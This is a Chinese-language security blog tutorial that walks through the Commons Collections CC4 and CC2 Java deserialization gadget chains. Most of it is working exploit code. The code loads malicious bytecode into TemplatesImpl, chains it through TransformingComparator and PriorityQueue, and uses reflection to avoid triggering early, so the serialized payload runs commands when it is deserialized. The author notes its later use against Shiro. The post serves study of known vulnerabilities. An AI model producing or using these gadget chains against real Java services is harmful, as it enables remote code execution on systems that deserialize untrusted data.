Java安全cc4/2反序列化链

本来还要写一个cc5 7的,但是感觉到了后面其他链子都差不多,偷一下懒算了~

CC4 和 2 都是CC 4版本利用的

CC4和2要学习比较重要的地方,就是不用Transformer[]数组去传递恶意类和方法进行命令执行

CC4 入口点:

TransformingComparator.compare() =>

PriorityQueue.readObject().heapify().siftDown().siftDownUsingComparator().compare()

最后在执行恶意对象的compare()方法时候transform()命令执行

相信在之前看了我的CC链文章的你,已经对这些不陌生了,很熟练了。

都是new 这2个类,然后套一下,前面的恶意类加载构造利用newInstace类加载那一套

        //  1        // 类加载        TemplatesImpl templates = new TemplatesImpl();
        Class temp =  templates.getClass();
        Field name = temp.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"aaa");
        Field bytecodes = temp.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/xxxxxxx/ClassTest/ExecTest.class"));        byte[][] codes = {code};        bytecodes.set(templates,codes);
        Field factory = temp.getDeclaredField("_tfactory");        factory.setAccessible(true);        factory.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

如果像以下代码那样执行的话,就会在序列化的时候提前执行RCE

        //  1        // 类加载        TemplatesImpl templates = new TemplatesImpl();
        Class temp =  templates.getClass();
        Field name = temp.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"aaa");
        Field bytecodes = temp.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/xxxxxxx/ClassTest/ExecTest.class"));        byte[][] codes = {code};        bytecodes.set(templates,codes);
        Field factory = temp.getDeclaredField("_tfactory");        factory.setAccessible(true);        factory.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);                //  2//        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));        TransformingComparator transformingComparator1 = new TransformingComparator<>(chainedTransformer);
        // 3        // 防止序列化提前RCE        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator1);        priorityQueue.add("1");        priorityQueue.add("2")                serialize(priorityQueue);//        desrialize("ser.bin");

跟往后的链子一样,如果在一开始就传入ChainedTransformer[]数组的话,就会发现add()方法里也执行了compare()方法

PriorityQueue.add().offer().siftup().siftUpUsingComparator().compare().queue[k] = e;

 

compare的时候就执行计算器弹窗了,所以这里我们设置一个空的Transformer对象,然后在最后序列化之前,利用反射把这个传入的对象更改回来为ChainedTransformer[]就可以了。

但是这里为什么一定要add呢?

先看看PriorityQueue.readObject()执行了什么

 

可以看到这里的heapify()方法会对i 和 size执行某种计算,默认的 size 值在这个类里是默认0的

 

在上面也有提示,这个size也代表着queue里的元素,在我们一开始new这个类的时候传的是一个空对象,在这里用不到,所以为了绕过这个计算,我们需要传入2个元素对象。

这个地方其实是关乎开发的一个队列运算,有兴趣的朋友可以自己搜来看看,笔者对这个地方不太感冒,给我想冒烟了。

所以一开始传一个无效Transfomrer对象,然后add 2个元素进去以后,再把反射改回ChainedTransform,就可以正常在反序列化以后走transform()弹计算器了。

TemplatesImpl templates = new TemplatesImpl();
        // 老样子,构造newInstance类加载,恶意类        Class temp =  templates.getClass();
        Field name = temp.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"aaa");
        Field bytecodes = temp.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/xxxxx/ClassTest/ExecTest.class"));        byte[][] codes = {code};        bytecodes.set(templates,codes);
        Field factory = temp.getDeclaredField("_tfactory");        factory.setAccessible(true);        factory.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

        //  2        // 防止序列化提前RCE        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));//      TransformingComparator transformingComparator1 = new TransformingComparator<>(chainedTransformer);
        // 3        // add 2个元素绕过计算进入下一步        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);        priorityQueue.add("1");        priorityQueue.add("2");
        // 4        // 反射修改属性,反序列化触发RCE        Class clazz = TransformingComparator.class;        Field clazzDeclaredField = clazz.getDeclaredField("transformer");        clazzDeclaredField.setAccessible(true);        clazzDeclaredField.set(transformingComparator,chainedTransformer);
        serialize(priorityQueue);        desrialize("ser.bin");

至此CC4反序列化链子就结束了

接下来到CC2

其实CC2跟CC4差不多,就是传递恶意方法的方式不一样,前面CC4用数组,CC2就不利用数组传递恶意类。

我们知道CC4的templates类传到TrAxFilter类,最后也是为了执行他自己的newTransformer()方法

 

所以我们这里直接把这个方法通过invoker直接构造出来,不利用数组

InvokerTransformer<ObjectObject> invoker = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});

那你们就会好奇,那我恶意类怎么传入呢?

笔者知道的有2种方式。

第一种:

在观察PriorityQueue.readObject()的时候,会发现最后compare().transform()方法会对queue[]数组里的元素执行,那回过头来看看add()方法的compare处

 

这里如果templates在add的时候是在第一个传递进去的,那么就会来到上图的(E) e 部分,最后会传递到queue[k]数组里,之后在readObject()的时候不是就会对queue数组执行compare()方法吗,在反序列化时候,恶意类和方法就会碰到一起transform()方法,进行R

 

TemplatesImpl templates = new TemplatesImpl();
        Class temp =  templates.getClass();
        Field name = temp.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"aaa");
        Field bytecodes = temp.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/xxxx/ExecTest.class"));        byte[][] codes = {code};        bytecodes.set(templates,codes);
        Field factory = temp.getDeclaredField("_tfactory");        factory.setAccessible(true);        factory.set(templates,new TransformerFactoryImpl());
        InvokerTransformer<Object, Object> invoker = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);        // templates要在add的第一个位置传递才行        priorityQueue.add(templates);        priorityQueue.add("2");
        Class clazz = transformingComparator.getClass();        Field clazzDeclaredField = clazz.getDeclaredField("transformer");        clazzDeclaredField.setAccessible(true);        clazzDeclaredField.set(transformingComparator,invoker);
        serialize(priorityQueue);        desrialize("ser.bin");

第二种办法:

就是add正常add,但是这个queue[]里传递恶意类,就利用反射,修改里面这个数组[]其中位置元素为恶意类即可

Field queue = priorityQueue.getClass().getDeclaredField("queue");queue.setAccessible(true);Object[] queues = (Object[]) queue.get(priorityQueue);queues[0] = templates;
TemplatesImpl templates = new TemplatesImpl();
        Class temp =  templates.getClass();
        Field name = temp.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"aaa");
        Field bytecodes = temp.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/xxxx/ExecTest.class"));        byte[][] codes = {code};        bytecodes.set(templates,codes);
        Field factory = temp.getDeclaredField("_tfactory");        factory.setAccessible(true);        factory.set(templates,new TransformerFactoryImpl());
        InvokerTransformer<Object, Object> invoker = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);        priorityQueue.add("1");        priorityQueue.add("2");
        Class clazz = transformingComparator.getClass();        Field clazzDeclaredField = clazz.getDeclaredField("transformer");        clazzDeclaredField.setAccessible(true);        clazzDeclaredField.set(transformingComparator,invoker);
        // add随便add元素,这里利用反射修改进去就可以        Field queue = priorityQueue.getClass().getDeclaredField("queue");        queue.setAccessible(true);        Object[] queues = (Object[]) queue.get(priorityQueue);        queues[0] = templates;
        serialize(priorityQueue);        desrialize("ser.bin");

至此CC4和CC2就分析完毕了~

其实为什么要想一个无Transfomer[]数组构造方式呢,是因为后续讲到的shiro CC链执行的时候,Shiro读取序列化的过程有方法被重写了,导致数组恶意类无法传递进去,所以这个点蛮重要的。

原创文章,作者:guozi,如若转载,请注明出处:https://www.sudun.com/ask/81013.html

(0)
guozi的头像guozi
上一篇 2024年5月31日
下一篇 2024年5月31日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注